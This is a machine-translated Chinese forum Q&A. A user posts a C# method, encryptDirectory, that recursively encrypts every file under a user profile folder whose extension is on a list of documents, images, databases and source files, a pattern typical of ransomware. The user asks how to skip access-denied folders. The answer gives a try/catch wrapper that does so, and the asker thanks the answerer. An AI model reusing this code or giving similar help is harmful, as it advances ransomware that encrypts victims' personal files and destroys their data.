忽略“未经授权的访问”,“功能Directory.GetDirectories()”
问题描述:
当我扫描的目录C:\\users\\<SomeUserName>\\*
在某些目录我没有访问我搜索了很多怎么不理“未经授权的访问” 现在我需要帮助:/忽略“未经授权的访问”,“功能Directory.GetDirectories()”
这里是我的代码:
public void encryptDirectory(string location, string password)
{
//extensions to be encrypt
var validExtensions = new[]
{
".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
};
string[] files = Directory.GetFiles(location);
string[] childDirectories = Directory.GetDirectories(location);
for (int i = 0; i < files.Length; i++)
{
string extension = Path.GetExtension(files[i]);
if (validExtensions.Contains(extension))
{
EncryptFile(files[i], password);
}
}
for (int i = 0; i < childDirectories.Length; i++)
{
encryptDirectory(childDirectories[i], password);
}
}
答
如果你想忽略一个特定的方法抛出的异常,写自己的包装,搭上你想捕获的异常,并返回一些有用的默认值:
private static string[] GetFilesSafe(string location) {
try {
return Directory.GetFiles(location);
} catch (UnauthorizedAccessException ex) {
Console.Error.WriteLine(ex.Message);
return new string[0];
}
}
为Directory.GetDirectories
写一个类似的包装,并用包装调用替换直接调用。这将隐藏访问问题。
谢谢你很多! – MrLuLz